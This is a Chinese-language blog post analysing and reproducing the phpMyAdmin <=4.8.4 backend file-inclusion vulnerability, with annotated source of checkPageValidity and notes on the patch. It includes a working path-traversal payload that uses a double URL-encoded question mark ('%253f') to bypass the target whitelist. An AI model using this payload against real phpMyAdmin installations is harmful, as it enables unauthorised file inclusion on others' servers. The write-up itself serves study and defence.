• phpmyadmin<=4.8.4 后台文件包含分析与复现


    首先还是函数介绍

    函数介绍
    $_REQUEST['target']
    和$_get $_POST的不必多说
    我们主要看这个函数
    mb_substr()
    $string = "0123456789你好";
    /** start > 0  length > 0*/
    $mystring = mb_substr( $string, 5, 1 );
    echo $mystring . PHP_EOL; // 5
    $mystring = mb_substr( $string, 5, 2 );
    echo $mystring . PHP_EOL; // 56
    $mystring = mb_substr( $string, 10, 2 );
    echo $mystring . PHP_EOL; // 你好
    
    
    和函数mb_strpos
    $str = "Hello World! Hello PHP";
    $pos = mb_strpos( $str, "Hello", 0, mb_internal_encoding() );
    echo $pos . PHP_EOL;//0
    $pos = mb_strpos( $str, "Hello", 2, mb_internal_encoding() );
    echo $pos . PHP_EOL;//13
    
    $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
    从上面的分析不难看出这段代码的意思就是截取?page问号之前的长度也就是什么.php拿来和witelist对比 一个urlcode造成了此次车祸的现场
    

     好的我们来看到index.php的代码

     这里出现了include $_REQUEST['target'];这里代码量太少了没必要动态调试

    直接跟进看如何传入的target  看到了这五个条件

    if (! empty($_REQUEST['target']) //target不为空
        && is_string($_REQUEST['target'])//target是字符
        && ! preg_match('/^index/', $_REQUEST['target'])//以index开头的target参数也就是index.php后面dtarget
        && ! in_array($_REQUEST['target'], $target_blacklist) //taget不在黑名单里面
        && Core::checkPageValidity($_REQUEST['target'])//这里调用了checkpage方法 我们跟进看一下方法 必须返回ture
    ) {
    

    我们继续跟进方法 看到这里定义了 进去看看

    public static function checkPageValidity(&$page, array $whitelist = [])
        {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist; //判断白名单是否为空空的话我们把他设置为上面定义了的
            }
            if (! isset($page) || !is_string($page)) {
                return false; //page是string这个很简单
            }
    
            if (in_array($page, $whitelist)) {
                return true; //page再白名单这个也很简单
            }
    
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') //这两个函数上面介绍了 不多说
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            $_page = urldecode($page); //这里是inculde的关键 在于url编码后可以rao'g
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?') 
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }
    

    不难看出这里有三种方式返回Ture

    第一种
    {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist;
            }
            if (! isset($page) || !is_string($page)) {
                return false;
            }
    
            if (in_array($page, $whitelist)) {
                return true;
            }
    直接取整个target的值判断是否在白名单 我们想包含的的话只能写成
    比如想包含i.txt 在同级目录下面
    那么我们写成i。txt
    target=i.txt 显然不在wiletlist里面所以这种True不可取
    
    第二种
    $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    取target=sql.php?问好前面的值sql.php判断是否在白名单内 如果在就返回Ture
    那么我们只能构造sql.php?。。/。。/。。/i.txt 显然include("sql.php?../../../");是错误的语法不可以取
    
    那么我们看到第三种
    $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }
    只是执行了一个urldecode
    其他没变
    那么机会来了 %3f也是问号啊
    我们传入sql.php%3f。。/。。/。。/i.txt这样include("sql.php%3f../../../")是能够执行的而且判断白名单也是在urldecode后判断的 那么我们的payload就出来了
    

     构造payload 失败了 why?

    (withlist里面的任意文件)%3f。。/。。/。。/。。/1.txt
    

     

     浏览器理所当然的要进行url编码一次 so 我们构造

    http://www.zhong.com/1/1/index.php?target=pdf_schema.php%253f../../../../../../../../../../../../../../../phpstudy_proWWW1.txt
    

     执行成功

    我们来对比一下补丁文件

     这里再后面加了两个参数 第三个参数为True 跟进方法看一下

    相当于后面的废除了 这里写死了inculde=true 就是不让你执行后面两种true的方法了  

    文献参考

    https://xz.aliyun.com/t/5534
    https://www.php.net/mb_substr
    https://www.runoob.com/php/func-string-mb_substr.html
  • 相关阅读:
    w10更新
    java.lang.Integer cannot be cast to java.math.BigDecimal
    加法add 乘法multiply
    iterator,hasNext,next
    购物车全部数据,带商品信息
    ERRORinit datasource error, url: jdbc:mysql://localhost:3306/xxxxxx?useUnicode=true&characterEncoding=gbk&serverTimezone=GMT&useSSL=false
    Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.7.0:
    创建一个场景
    window系统已发布,等待更新
    [转]向量(矩阵)范式理解(0范式,1范式,2范式,无穷范式)
  • 原文地址:https://www.cnblogs.com/-zhong/p/12411728.html
Copyright © 2020-2023  润新知